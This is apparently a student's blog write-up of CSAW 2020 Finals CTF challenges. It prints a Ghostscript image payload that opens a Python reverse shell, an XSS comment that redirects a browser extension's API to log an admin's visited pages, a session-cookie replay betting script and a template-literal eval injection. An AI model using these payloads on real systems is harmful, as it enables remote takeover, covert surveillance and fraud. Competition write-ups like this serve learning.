CSAW 2020 Finals Writeups

Sun Nov 08 2020

CSAW Finals 2020

This year, my team (Crusaders of Rust) was invited to play in the CSAW Final Round 2020. We qualified for the finals by placing 9th out of the 15 spots in the undergraduate US-Canada division during the qualifying round, and we were super excited to compete in the finals.

This CTF had some pretty cool and unique challenges (at least for web), and we ended up placing 10th out of 16 spots in North America (16 b/c of +1 team from Mexico), and 21st out of 52 globally.

The CTF took place over 36 hours, with two different starting times for Europe + MENA, and North America + India. IMO, we did very well for a team of four college freshmen, and I was stoked to be able to directly play against some of the strongest teams I've heard all over the place in CTFs.

Here was our challenge board at the end of the CTF:

I mainly focused on Web, as I usually do, but I ended up helping by getting two Rev challenges. I missed two of the Web challs, but both were in the top 3 hardest challenges in the CTF (and I was super close to Snail Race 2).

Well, onto the writeups.



picgram was a photo resizing website built with Python's PIL library and Docker. I solved this challenge in around 30 minutes, and got first blood in the North America + India region. They provided us with the Dockerfile and app.py backend code.


FROM vulhub/ghostscript:9.23-python RUN useradd -ms /bin/sh picgram RUN apt-get update && apt-get install -y curl sqlite3 RUN set -ex \ && pip install -U pip \ && pip install "flask" "Pillow==5.3.0" "gunicorn" WORKDIR /home/picgram COPY app.py ./app.py COPY templates ./templates COPY flag.db /home/picgram/flag.db RUN chown -R root:picgram /home/picgram && \ chown 750 /home/picgram EXPOSE 5000 USER picgram CMD ["gunicorn", "-w", "3", "-b", "", "app:app"]


#!/usr/bin/env python3 import flask from PIL import Image import os import tempfile app = flask.Flask(__name__) app.config["TEMPLATES_AUTO_RELOAD"] = True app.secret_key = os.urandom(32) @app.route("/", methods=["GET", "POST"]) def home(): if flask.request.method == "POST": imgfile = flask.request.files.get("image", None) if not imgfile: flask.flash("No image found") return flask.redirect(flask.request.url) filename = imgfile.filename ext = os.path.splitext(filename)[1] if (ext not in [".jpg", ".png"]): flask.flash("Invalid extension") return flask.redirect(flask.request.url) tmp = tempfile.mktemp("test") imgpath = "{}.{}".format(tmp, ext) imgfile.save(imgpath) img = Image.open(imgpath) width, height = img.size ratio = 256.0 / max(width, height) new_dimensions = (int(width * ratio), int(height * ratio)) resized = img.resize(new_dimensions) resized.save(imgpath) resp = flask.make_response() with open(imgpath, "rb") as fd: resp.data = fd.read() resp.headers["Content-Disposition"] = "attachment; filename=new_{}".format(filename) os.unlink(imgpath) return resp return flask.render_template("home.html") if __name__ == "__main__": app.run(host="", port=8080)

What immediately stood out to be was the first line in the Dockerfile: FROM vulhub/ghostscript:9.23-python. I already knew that Ghostscript, a software suite for some specific image formats, had some RCE CVEs from 2018, so I immediately went to Googling and found this GitHub repository talking about a CVE in Python's PIL library.

Hmm... and the code looked almost copy pasted from the repo...

Well, I took a look at the rce.jpg PoC file they provided which ran shell commands, and made my own to send me a reverse shell.


%!PS-Adobe-3.0 EPSF-3.0 %%BoundingBox: -0 -0 100 100 userdict /setpagedevice undef save legal { null restore } stopped { pop } if { legal } stopped { pop } if restore mark /OutputFile (%pipe%python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("MY IP",4000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);') currentdevice putdeviceprops

As you can see, I made a file called rce.jpg which executed python3 to send me a reverse shell on port 4000. After uploading this image, I popped a shell. There was a flag.db file in /home/picgram/flag.db, so I downloaded that. After putting it through a SQLite database viewer, I found the flag. I submitted the flag to get first blood (one minute before the next team) and an easy 100 points.



After trying applicative (Pwn 100) and brr (Rev 100) (and getting nowhere), I eventually went to try rap. rap gave us a binary, which when ran, asked for input. It looked like a simple flag checker program. Running strings on the binary, I don't find an easy flag, but I do find strings like _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1Ev, and _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6lengthEv.

Uh oh, these looked like C++ mangled names. As someone who knows no C++, and knows how badly Ghidra fails at decompiling it, I kinda got a little scared. Opening the binary in Ghidra and opening up the main entry function, I saw this:

Well, that looked disgusting. I noticed on line 18, iVar1 = FUN_00400ce0(local_30), which was later compared to 0 to see whether a function with the message "you found me!" would be called. I knew that was probably our input checker function. Decompiling that function, I found:

Actually, after seeing this, I felt like this wasn't actually too bad. The code looked like it was looping over each character of the input, and XORing each character with a value, then adding the index and comparing it to local_c8, which was 0xac length of data memcpy'd from somewhere in the binary.

Examining the exact values of DAT_00400f50 (the memory location memcpy'd into local_c8) gave me these values:

66 00 00 00 6e 00 00 00 65 00 00 00 67 00 00 00 83 00 00 00 72 00 00 00 3b 00 00 00 72 00 00 00 80 00 00 00 5f 00 00 00 45 00 00 00 71 00 00 00 5f 00 00 00 86 00 00 00 8a 00 00 00 4a 00 00 00 70 00 00 00 72 00 00 00 33 00 00 00 8a 00 00 00 5f 00 00 00 39 00 00 00 8e 00 00 00 5f 00 00 00 82 00 00 00 46 00 00 00 84 00 00 00 86 00 00 00 4b 00 00 00 96 00 00 00 5f 00 00 00 4d 00 00 00 6e 00 00 00 9f 00 00 00 38 00 00 00 3a 00 00 00 34 00 00 00 36 00 00 00 38 00 00 00 3a 00 00 00 44 00 00 00 46 00 00 00 81 00 00 00

At this point, I started making a script (and with the help of Oridoll on my team), we quickly solved this challenge. Here's our script:

bytes = "66 6e 65 67 83 72 3b 72 80 5f 45 71 5f 86 8a 4a 70 72 33 8a 5f 39 8e 5f 82 46 84 86 4b 96 5f 4d 6e 9f 38 3a 34 36 38 3a 44 46 81".split(" ") print(len(bytes)) bytes = [int(b, 16) for b in bytes] for i in range(len(bytes)): bytes[i] = ((bytes[i] - i) ^ i) print(bytes) print(''.join([chr(b) for b in bytes]))




I had already solved Snail Race 1 at this point (being 2nd in NA+India to do so), but I want to go over that chall at the end. After solving Snail Race 1, I went to bed around ~3 AM, and woke up to this challenge at 11 AM. I solved it in 30 minutes, and felt like it was one of the easiest challenges in the CTF. Definitely not worth 300 points.

sourcery provided us with a sourcery.zip, which when opened, had a .git folder:

Not wanting to try and use the git command line to solve this, I quickly uploaded this to GitLab.

Here's what was in the repo:

It looked like a very small Python app (with almost no code / logic / anything). I didn't find anything in the files, so I checked the commit history and found 4 commits. However, I didn't find anything interesting in the history.

Reading out logs/HEAD in the .git folder, I found:

bryce@server:~/CTFs/csaw2020finals/sourcery/.git$ cat logs/HEAD 0000000000000000000000000000000000000000 233f3cd02359969ffe37815b15428c377080a6ec ex0dus-0x <[email protected]> 1603063254 -0400 commit (initial): Initial commit 233f3cd02359969ffe37815b15428c377080a6ec 23726e444e7ddec692e119eeaa34866810966471 ex0dus-0x <[email protected]> 1603063325 -0400 commit: Start working on app 23726e444e7ddec692e119eeaa34866810966471 57e6cdd884a04d8532edc3a2296364f3ab3d99c2 ex0dus-0x <[email protected]> 1603063358 -0400 commit: Include front manner 57e6cdd884a04d8532edc3a2296364f3ab3d99c2 7f2bcf8329a659d1426b24d3d60539c40208ff6d ex0dus-0x <[email protected]> 1603063394 -0400 commit: Other stuff we need 7f2bcf8329a659d1426b24d3d60539c40208ff6d 7f2bcf8329a659d1426b24d3d60539c40208ff6d ex0dus-0x <[email protected]> 1603063404 -0400 checkout: moving from master to enhancements 7f2bcf8329a659d1426b24d3d60539c40208ff6d ed867a809420a99b5b4606614fa9ba90b023ceb6 ex0dus-0x <[email protected]> 1603063428 -0400 commit: Enhancements to app ed867a809420a99b5b4606614fa9ba90b023ceb6 ed867a809420a99b5b4606614fa9ba90b023ceb6 ex0dus-0x <[email protected]> 1603063459 -0400 reset: moving to HEAD ed867a809420a99b5b4606614fa9ba90b023ceb6 87f8640fffc5cdbad24ea71dec92eee737448490 ex0dus-0x <[email protected]> 1603063483 -0400 commit: More work 87f8640fffc5cdbad24ea71dec92eee737448490 a675e0e6ff8356021e60896050b7a7400e7c847d ex0dus-0x <[email protected]> 1603063536 -0400 commit: Fix whoops a675e0e6ff8356021e60896050b7a7400e7c847d 87f8640fffc5cdbad24ea71dec92eee737448490 ex0dus-0x <[email protected]> 1603063550 -0400 reset: moving to HEAD~1 87f8640fffc5cdbad24ea71dec92eee737448490 a75467425e23101ce32ba809dfd7c3894925abc5 ex0dus-0x <[email protected]> 1603063557 -0400 commit: Fix whoops a75467425e23101ce32ba809dfd7c3894925abc5 7f2bcf8329a659d1426b24d3d60539c40208ff6d ex0dus-0x <[email protected]> 1603063565 -0400 checkout: moving from enhancements to master 7f2bcf8329a659d1426b24d3d60539c40208ff6d a75467425e23101ce32ba809dfd7c3894925abc5 ex0dus-0x <[email protected]> 1603063580 -0400 checkout: moving from master to enhancements a75467425e23101ce32ba809dfd7c3894925abc5 bbcdb8b29a33736328246d8b5c6fd706694d4146 ex0dus-0x <[email protected]> 1603063612 -0400 commit: No more debug builds bbcdb8b29a33736328246d8b5c6fd706694d4146 7f2bcf8329a659d1426b24d3d60539c40208ff6d ex0dus-0x <[email protected]> 1603063625 -0400 checkout: moving from enhancements to master

Ahh, there was another branch named enhancements. Navigating to that branch in GitLab, and checking the commit history, I see:

"Fix whoops" sounds interesting, so I navigate to that page and find two deleted files, __pycache__/app.cpython-38.pyc and __pycache__/secret.cpython-38.pyc. Jackpot. Something to note, there are .pyc files, not straight Python files. They're compiled Python bytecode. So you can't just read out the source code. But, there are programs like uncompyle6 that do an amazing job of decompiling the bytecode.

With uncompyle6, I find:

# uncompyle6 version 3.7.4 # Python bytecode 3.8 (3413) # Decompiled from: Python 3.8.5 (default, Jul 28 2020, 12:59:40) # [GCC 9.3.0] # Embedded file name: /home/nemesis/Code/osiris/CSAW-CTF-2020-Finals/rev/sourcery/sourcery-repo/secret.py # Compiled at: 2020-10-15 11:51:13 # Size of source mod 2**32: 1098 bytes """ secrets.py Stuff you shouldn't be seeing >:( """ import os SECRET_KEY = os.urandom(32) def gen_secret(idx): """ TODO: still a work-in-progress """ seed = [ (1, 'm'), (25, 'X'), (37, '3'), (30, 'R'), (38, '0'), (35, 'u'), (34, 'B'), (8, 'd'), (15, '0'), (27, 'f'), (4, 'Z'), (13, 'G'), (2, 'x'), (32, 'Z'), (10, 'Z'), (19, 'y'), (26, 'R'), (21, 'l'), (7, 'j'), (9, 'G'), (16, 'e'), (31, 'f'), (20, 'e'), (12, 'c'), (39, '='), (33, 'D'), (28, 'M'), (0, 'Z'), (6, 't'), (18, 'N'), (3, 'h'), (36, 'M'), (24, 'M'), (11, 'f'), (23, 'n'), (17, 'T'), (14, 'w'), (29, 'X'), (22, '9'), (5, '3')] # okay decompiling __pycache___secret.cpython-38.pyc

It looked like some sort of base64 code was in the list. Playing with the seed array, I did:

>>> import base64 >>> sorted(seed, key=lambda t: t[0]) [(0, 'Z'), (1, 'm'), (2, 'x'), (3, 'h'), (4, 'Z'), (5, '3'), (6, 't'), (7, 'j'), (8, 'd'), (9, 'G'), (10, 'Z'), (11, 'f'), (12, 'c'), (13, 'G'), (14, 'w'), (15, '0'), (16, 'e'), (17, 'T'), (18, 'N'), (19, 'y'), (20, 'e'), (21, 'l'), (22, '9'), (23, 'n'), (24, 'M'), (25, 'X'), (26, 'R'), (27, 'f'), (28, 'M'), (29, 'X'), (30, 'R'), (31, 'f'), (32, 'Z'), (33, 'D'), (34, 'B'), (35, 'u'), (36, 'M'), (37, '3'), (38, '0'), (39, '=')] >>> ''.join([t[1] for t in sorted(seed, key=lambda t: t[0])]) 'ZmxhZ3tjdGZfcGw0eTNyel9nMXRfMXRfZDBuM30=' >>> base64.b64decode(''.join([t[1] for t in sorted(seed, key=lambda t: t[0])])) b'flag{ctf_pl4y3rz_g1t_1t_d0n3}'


Shark Facts

Shark Facts was an interesting challenge that I thought would be about weird URL parsing mechanics that ended up just being one related to GitLab's API.

First of all, going to the link asks you to log in using GitLab. Once you sign into GitLab, it brings you to this page:

At this page, after pressing the button to complete a Proof of Work, we can submit a URL for the server to read. The website also creates for us a private GitLab repository, where we only have reporter access (so we cannot make changes).

The default URL is https://gitlab.com/sharkfacts/shark-facts-for-antiteal/-/blob/main/README.md, and clicking it, we see that it returns what is inside README.md in the repo.

The important part of the server.py is:

@app.route('/', methods=['GET','POST']) def facts(): user = session.get('user',None) if user is None: return render_template('login.html') return redirect('/login/gitlab') user['id'] = int(user['sub']) if not session.get('project') or not session.get('web_url') or not session.get('added_user'): init_project(user) page = session['web_url']+'/-/blob/main/README.md' pow.validate_pow('index.html', page=page) page = request.form['page'] start = session['web_url']+'/-/blob/main/' if not page.startswith(start): return pow.render_template('index.html', page=page, error="Url must start with "+start) path = page[len(start)-1:] path = os.path.abspath(path) url = 'https://gitlab.com/api/v4/projects/%u/repository/files/%s/raw?ref=main'%( session.get('project'), path) res = requests.get( url, headers = dict( Authorization='Bearer '+creds.GITLAB_FILE_READ_TOKEN ) ) facts = res.text flag = None if facts.strip().lower() == 'blahaj is life': flag = creds.FLAG return pow.render_template('index.html', page=page, facts=facts, flag=flag )

From this, we see that we have to submit a URL which contains "blahaj is life" to get the flag. However, the URL must start with the prefix https://gitlab.com/sharkfacts/shark-facts-for-antiteal/-/blob/main/. In addition, the URL the admin will get is modified by:

url = 'https://gitlab.com/api/v4/projects/%u/repository/files/%s/raw?ref=main' % (session.get('project'), path)

where session.get('project') is a number referring to our repository's project ID, and path is everything after the prefix. So, we can basically provide files in the repository, and if the file happens to equal "blahaj is life", we get the flag. However, we don't have write access, so what can we do?

My first instinct is that this is an attack on Python requests's URL parser. This reminded me of an amazing talk at Code Blue 2017 by Orange Tsai, named "A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages!". In the video, he shows this side:

This image shows the differences in common Python URL parsers. The parts highlighted with different colors are what that parser believes to be the URL. I thought that if I can use this same trick, I could maybe get Python requests to treat the path I provide as the real URL.

However, this has been patched, and I wasn't able to get this to work. I then decided to try and see how GitLab's API worked. First, I created a new fork of the repository, and changed the README.md file to say "blahaj is life". I then made a merge request to try and merge my fork to the main branch.

Of course, the admin won't merge that change for me, and I can't either because I have no permissions. But, when I try to view my modified README.md, I see that the URL is https://gitlab.com/sharkfacts/shark-facts-for-antiteal/-/blob/394012aa0adf356c6fb7cbf964f8b0b95c4539a2/README.md, where 394012aa0adf356c6fb7cbf964f8b0b95c4539a2 is my commit hash.

Comparing the two URLs, I see:



The two URLs are identical except the main branch in the first is replaced with my commit hash.

From seeing this, I knew exactly what I have to do. I have to find a way to change ?ref=main in the URL to ?ref=commit_hash. Since that comes after the part I change, I can just add a URL fragment identifier (#) so that everything after my file won't be counted. I also need to add the /raw part to my URL so that it resembles the normal API call.

For example, if I send the URL:


that turns into:


which should work. Submitting that URL nets me the flag.

flag{Shark Fact #81: 97 Percent of all sharks are completely harmless to humans}

Comment Anywhere

Comment Anywhere was one of the more interesting challenges to me, as it dealt with pwning a Chrome extension. I learned a lot while doing this challenge, and thought it was pretty cool.

The challenge description has a note, which said: "NOTE: It should also go without saying, but please don't install this in a chromium installation you care about."

With that note in mind, I installed Chromium to be a sandbox to test out this extension. I had to wrangle a lot with the .crx file to get it to load, but I eventually found that extracting the contents and loading the folder as an unpacked extension worked.

First, I look at the manifest.json, which shows:

{ "name": "Comment Anywhere", "version": "1.0", "manifest_version": 2, "description": "Leave a comment on any page!", "background": { "scripts": ["background.js"], "persistent": true }, "content_scripts": [{ "matches": ["<all_urls>"], "js": ["content.js"], "css": ["content.css"], "run_at": "document_end" }], "permissions": [ "https://*/*", "http://*/*", "tabs", "webNavigation", "contextMenus" ] }

This tells me that the extension has a backend script called background.js, and a content script which can access the DOM called content.js.


'use strict'; let config = { api: 'http://comment-anywhere.chal.csaw.io:8000', user: 'default', }; let state = { pos: null, }; chrome.runtime.onMessage.addListener(function(msg, sender, sendResponse) { // only allow from injected content on active page if (!(chrome.tab && chrome.tab.active)) { return true; } if (msg.type === 'mousedown') { state.pos = msg.point; } return true; }); chrome.runtime.onMessage.addListener(function(msg, sender, sendResponse) { // only allow from config popup if (sender.id !== chrome.runtime.id) { return true; } switch (msg.type) { case 'setConfig': config[msg.key] = msg.value; break; case 'getConfig': sendResponse(config); break; } return true; }); function escape(str) { return str.replace(/&/g,'&amp;').replace(/</g,'&lt;').replace(/>/g,'&gt;'); } function ctxtClick(info, tab) { if (true) { const comment = escape(prompt("Comment?")); fetch(`${config.api}/comment`, { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ url: tab.url, coords: {x: 69, y: 69}, creator: config.user, comment: comment, }), }); } } // on click sample callback with more params var idConsole = chrome.contextMenus.create({ title: 'Comment On This', onclick: ctxtClick, }) chrome.webNavigation.onDOMContentLoaded.addListener(({url, tabId}) => { // inject default coordinate handler chrome.tabs.executeScript({ file: 'inject.js', }); let req_url = new URL(`${config.api}/comments`); req_url.search = new URLSearchParams({url: url}).toString(); fetch(req_url).then(r => r.json()).then(j => { chrome.tabs.sendMessage(tabId, { type: "comments", comments: j, }, () => {}); }); });


'use strict'; let enabled = true; // allow page onclick handler to send coordinates to background, // keypress handler to toggle visibility, // and websites to opt out entirely by sending a commentAnywhereDisable message window.addEventListener('message', (event) => { console.log(event); if (event.source != window) { return; } if (event.data.type === 'commentAnywhereDisable') { enabled = false; Array.from(document.getElementsByClassName("comment-anywhere-indicator")).forEach((div) => { div.remove(); }); } else if (event.data.type === 'commentAnywhereToggleVisible') { Array.from(document.getElementsByClassName("comment-anywhere-indicator")).forEach((div) => { div.classList.toggle("comment-anywhere-invisible"); }); } else if (event.data.type === 'commentAnywhereSetCoords') { chrome.runtime.sendMessage({ type: 'mousedown', ...event.data.coords, }, () => {}); } }); // dispatch from background to the injected handler chrome.runtime.onMessage.addListener((request, sender, sendResponse) => { if (!enabled) { return true; } if (request.type === 'comments') { for (const comment of request.comments) { let commentIndicator = document.createElement('div'); commentIndicator.className = 'comment-anywhere-indicator'; commentIndicator.style.top = `${comment.coords.y}px`; commentIndicator.style.left = `${comment.coords.x}px`; let commentDiv = document.createElement('div'); commentDiv.className = 'comment-anywhere-comment'; commentDiv.innerHTML = comment.comment; commentIndicator.appendChild(commentDiv); document.body.appendChild(commentIndicator); } } return true; });

At the bottom of background.js, we can see that it dynamically injects a file named inject.js.


'use strict'; // send click coords upstream so we know where the context menu is clicked // if the user adds a comment. document.addEventListener('mousedown', (event) => { if (event.button == 2) { let p = {x: event.pageX, y: event.pageY}; window.postMessage({type: 'commentAnywhereSetCoords', coords: {point: p}}, '*'); } }); // toggle with shift+c document.addEventListener('keypress', (event) => { if (event.shiftKey && event.keyCode == 67) { window.postMessage({type: 'commentAnywhereToggleVisible'}, '*'); } });

They also provide the source code for the back-end, but there's nothing too interesting.


from flask import Flask, request, jsonify from flask_sqlalchemy import SQLAlchemy import re import urllib.parse MAX_SIZE = 10*1024*1024 app = Flask(__name__) app.config.from_object('config.Prod') db = SQLAlchemy(app) class Comment(db.Model): id = db.Column(db.Integer, primary_key=True) url = db.Column(db.String(4095), nullable=False) x = db.Column(db.Integer) y = db.Column(db.Integer) creator = db.Column(db.String(255), nullable=False) comment = db.Column(db.Text, nullable=False) def json(self): return { "id": self.id, "url": self.url, "coords": { "x": self.x, "y": self.y, }, "creator": self.creator, "comment": self.comment, } db.create_all() @app.route("/comments", methods=['GET']) def comments(): _, netloc, path, query, _ = urllib.parse.urlsplit(request.args['url']) # Normalize URL as much as we can (http, lowered netloc) url = urllib.parse.urlunsplit(('http', netloc.lower(), path, query, '')) comments = [c.json() for c in Comment.query.filter(Comment.url == url).all()] # Try and make /asdf/ and /asdf/index.html, /asdf/index.php, etc. equivalent if path.endswith('/'): url = urllib.parse.urlunsplit(('http', netloc, path + r'\w+\.\w+', query, '')) comments.extend(c.json() for c in Comment.query.all() if re.match(url, c.url)) return jsonify(comments) @app.route("/comment", methods=['POST']) def add_comment(): j = request.json db.session.add(Comment( url=j['url'], x=j['coords']['x'], y=j['coords']['y'], creator=j['creator'], comment=j['comment'], )) db.session.commit() return jsonify({"status": "ok"}) if __name__ == "__main__": app.run(port=8000)

The extension added a new item to the right-click context menu called "Comment on this". Pressing this button makes a prompt appear where you can type a comment in. When you reload the page, the comment appears exactly where you right-clicked.

The background.js script sends data to the back-end by making a POST request to config.api, which is by default http://comment-anywhere.chal.csaw.io:8000. The POST request looks like:

const comment = escape(prompt("Comment?")); fetch(`${config.api}/comment`, { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ url: tab.url, coords: state.pos, creator: config.user, comment: comment, }), });

We can directly take this fetch code and remove the escape part of it. With this, our HTML brackets are no longer escaped, so we can have XSS on any page by placing a malicious comment.

Now, the question was what to do with this XSS. There was no obvious flag in the source code, but going to the front-page of the CTF website, https://ctf.csaw.io, we see that there is a comment placed by the admin.

Every time the database resets, the admin places a comment here. This made it pretty obvious to me that the admin views this page every so often. So I place a simple XSS payload to make a request to a webhook with the cookies. But, I got nothing. While I did get a request from the admin, I got no cookies.

There was a hint given that said: "you exploit the extension itself to see what the admin is doing". After thinking for a bit, I realized - we make a request to ${config.api}/comments?url=${url} on every page visit. If we can change config.api on the admin's extension, we can log all of the pages that the admin vists!

Now, the question became how to change config.api. Luckily, there was an easy endpoint:

chrome.runtime.onMessage.addListener(function(msg, sender, sendResponse) { // only allow from config popup if (sender.id !== chrome.runtime.id) { return true; } switch (msg.type) { case 'setConfig': config[msg.key] = msg.value; break; case 'getConfig': sendResponse(config); break; } return true; });

If we send a message to the extension that has the tyoe setConfig, we can set the config api url to whatever we want!

However, there's a problem: we can't send custom messages directly to the extension. The extension's manifest.json is missing the externally_connectable property, which defines a list of websites that can send custom messages through chrome.runtime.connect and chrome.runtime.sendMessage. But then, how does the extension know where we click on the page?

The content.js file is the script that sends our coordinates to the background script. This is the relevant code:

window.addEventListener('message', (event) => { // ... // other event types // ... else if (event.data.type === 'commentAnywhereSetCoords') { chrome.runtime.sendMessage({ type: 'mousedown', ...event.data.coords, }, () => {}); } });

Since content.js is a content script of the extension, it has access to chrome.runtime.sendMessage while we directly do not. When we emit a message that has the type commentAnywhereSetCoords, it sends a message to the extension with the type mousedown and passes in the coords. We need to send a message with the type setConfig, so what can we do?

Well, the data that we send to the extension is directly merged with the coords we send. Normally, event.data.coords is an object that looks like the following:

{ "point": { "x": 0, "y": 0 } }

So, the data that is sent to the extension looks like this:

{ "type": "mousedown", "point": { "x": 0, "y": 0 } }

But, what if we change the coords to look like this?

{ "type": "setConfig", "key": "api", "value": "CUSTOM_ENDPOINT" }

The new object that we send to the extension will look like this:

{ "type": "mousedown", "type": "setConfig", "key": "api", "value": "CUSTOM_ENDPOINT" }

Since there are two type keys, JavaScript will only take the last key, letting us arbitrarily modify the data type that we send to the extension. From here, we just need to simulate sending coordinates to content.js:

window.postMessage({type: `commentAnywhereSetCoords`, coords: {type: `setConfig`, key: `api`, value: CUSTOM_ENDPOINT}}, `*`);

When we run that code and check our endpoint, we see that every page we visit is being logged. Scary. Now, we just need to put this into a comment and place it on the CTF home page.

fetch(`http://comment-anywhere.chal.csaw.io:8000/comment`, { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ url: "http://ctf.csaw.io/", coords: {x: 16, y: 16}, creator: "Strellic", comment: "<img src='x' onerror='window.postMessage({type: `commentAnywhereSetCoords`, coords: {type: `setConfig`, key: `api`, value: "CUSTOM_ENDPOINT"}}, `*`)' />" }), });

After a bit of time, we see the the websites logged that the admin (and some other random people, oops) are visiting. Eventually, we get the flag.


Snail Race 1

Snail Race was one of the coolest web challenges I've seen in a long time. Navigating to the website, we can bet money on a Twitch stream which shows two snails racing.

Since the code for this challenge was very large, you can download the files here if you want to see the whole code.

We start with $100, and we can bet our money on either Snail A or Snail B winning the race. The return is based off of how much money everyone bet on each snail, similar to real betting odds. Looking at the source code, we find two endpoints:

@app.route('/flag1') @user def buy_flag2(): if session.money < 250000: return jsonify(success=False, error='Not enough money') session.money -= 250000 return jsonify(success=True, flag='flag1 will be here') @app.route('/flag2') @user def buy_flag(): if session.money < 1000000000000000000: return jsonify(success=False, error='Not enough money') session.money -= 1000000000000000000 return jsonify(success=True, flag='flag2 will be here')

So, we need to make $250,000 to get flag 1, and an insane amount of money for flag 2.

Looking at my cookies, I find two:

sid=2ce2149d4616ce7e session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiJlMTgzZTAxYy04NGU0LTRhOTctYTg4ZS0wMGZhOTJmMmNkOWIiLCJtb25leSI6MTAwfQ.zRHym2rEV4HBLWJ6l09zZ7hhZXU61be3u8RM9srBZMk

I immediately know that the session cookie is a base64 string, and is probably a JWT. So, I plug it into jwt.io, and get:

So, our money and our uid (which looks like uuid-v4) is stored in our session. Looking at how our JWTs are signed in session.py, we see that:

def __init__(self, redis, sid=None): # snip... self._sid = binascii.hexlify(os.urandom(8)).decode('latin-1') self._secret = binascii.hexlify(os.urandom(16)).decode('latin-1') redis.set(f'session.{self._sid}', self._secret) # snip... def encode(self): return jwt.encode(self._data, self._secret, algorithm='HS256')

Our JWT is signed with a random secret that looks something like 3fbc5159d843600d6a55cc85d3325e55, so there's no way we can crack the JWTs. I also tried other methods like changing the algorithm to none, to no success.

So, we need to somehow make $250,000 by betting, starting from $100. We can't generate our own JWTs, so we can't change our money. The only way we can get money is to bet on the winning snail, and to get $250,000, we have to basically never lose. How is this possible?

Well, the vulnerability comes from the fact that there is no expiration for session cookies. Once we have a session cookie with a specific amount of money, we can set that cookie again at any time to return to that money. So, if we bet all of our money on the wrong snail and lose, we can just restore our cookie and try again.

I wrote a script to automate this process:

import requests as r import time import json url = "https://snail.racecraft.cf/" match = 1 prev_money = 0 cookies = { "sid": "629557826b6f9ba7", "session": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiJlMjA1NTU4YS00MWI4LTRlOWYtOGQwNi1mNDM4ODcwZGMzMTYiLCJtb25leSI6Mzg5MzI5fQ.4RRvTlQj2Y0T979vrkOO85Cej8gNP7Bofg3uyUMWZCw" } def check_data(): global cookies s = r.Session() req = s.get(f"{url}/check", cookies=cookies) cookies = s.cookies.get_dict() return json.loads(req.text) def send_bet(money, snail=0): return json.loads(r.patch(f"{url}/bet/{snail}", cookies=cookies, data={"bet": money}).text) prev_state = cookies prev_money = check_data()["money"] while True: data = check_data() if data["bet"]: print(f"money: ${data['money']} | bet: ${data['bet']} | {cookies}") else: print(f"money: ${data['money']} | {cookies}") if data["money"] > prev_money: print(f"nice! won ${data['money'] - prev_money} on match #{match}!") prev_state = cookies prev_money = data["money"] match += 1 elif data["money"] < prev_money: print(f"oof, lost everything. restoring!") cookies = prev_state match += 1 if data["a"] == 0 and not data["bet"]: bet = send_bet(data["money"]) if bet["success"]: print(f"betting ${data['money']} for snail A on match #{match}...") time.sleep(5)

Letting the script run, around 20 minutes later, we have enough money to buy our flag!

flag{I bet you abused my poor, innocent, sessions huh >:(}

Snail Race 2

Full disclosure, I did not solve this challenge. But, I made it pretty far, and made some pretty cool discoveries. I was one realization away from the flag, and I think this challenge is cool enough that I want to talk about it anyway.

To understand this challenge, you needed to understand how the Snail Race stream actually worked. The server.py file imported a module named obswebsocket, where OBS (Open Broadcaster Software) is the program used to stream directly to Twitch. OBS works by having different scenes, which can have sources like text, images, a live feed of a program like a web browser, or even a capture of the window itself.

The snail race stream is actually a live feed of a web browser running HTML and JS that makes requests with the Python backend to switch scenes and send data like who wins.

The relevant parts of server.py are:

from obswebsocket import obsws, requests obsclient = obsws('',4444) #@app.route('/switch/debug') #@stream #def switch_setup(): # change_scene('Scene1') # return '' @app.route('/switch/setup') @stream def switch_setup(): change_scene('Scene3') return '' @app.route('/switch/race') @stream def switch_race(): change_scene('Scene2') return '' def change_scene(name): obsclient.connect() obsclient.call(requests.SetCurrentScene(name)) obsclient.disconnect()

For example, when the snail race finishes, the stream browser makes a request to /switch/setup, which uses obswebsocket to switch the Scene to Scene3.

Something else interesting is that the race JS uses something called "Web Workers" for the snails. Basically, a "web worker" is a JavaScript script that runs in the background, which sends messages back and forth with the parent page. A new worker is created in race.js that runs the code of snail.js in the background.

In addition, if you look at the flag picture on Snail Race 1, you can see a new button appeared that says "Name Snail". Once we have enough money, we can name the snails that appear on screen. This is actually the source of the main vulnerability for this challenge. If we look at how this is implented, we find that the way the snail worker is named actually goes through an eval call.


function getRand(min, max) { return Math.random() * (max - min) + min; } let snail = {}; onmessage = function(e) { if (e.data[0] === 'custom') { eval(`snail=${e.data[1]}`); // !!!!!!!!!!!!!!!!! console.log('snail is ',snail); if (snail.name) { postMessage(['name',snail.name]) } } if (e.data[0] === 'start') { setInterval(function () { let r = ~~getRand(0, snail.slow || 10); if (r === 0) { postMessage(['move']); } }, 250); } }

If we look at how we send a snail name to the backend, we see:

@app.route('/name', methods=['PATCH']) @user def buy_name(): # snip if '"' in name or "'" in name or '`' in name: return jsonify(success=False, error='Invalid name') # snip def reset(): # snip if names[0]: rclient.hset('snails.'+snail_a['uid'], 'custom', f'{{name:`{names[0]}`}}') if names[1]: rclient.hset('snails.'+snail_b['uid'], 'custom', f'{{name:`{names[1]}`}}') # snip

So, while our snail name is evaluated, it is placed into a string, and we cannot use any other characters to escape from the string. Well, since the string uses the special ` character, we have access to ES6 templating. So, if we wrap our payload in ${}, it'll evaluate our code anyway.

I ended up using eval and base64 to help encode my payloads, specifically using this snippet:

console.log("${" + `eval(atob(/${btoa(prompt("payload:"))}/.source)) && /sadge/.source` + "}");

Now, setting this payload as the name, we can run any code we want (on the client-side). Which, to be honest, doesn't help much. We can compromise a web worker, but that doesn't give us access to the parent page, nor the back-end. How can this be exploited?

Well, this challenge had a hint, which said: "Have you seen scene 1 yet?". In server.py, there was a commented out route that would switch to Scene1, but since it's commented out, we can't change to that scene. Or can we?

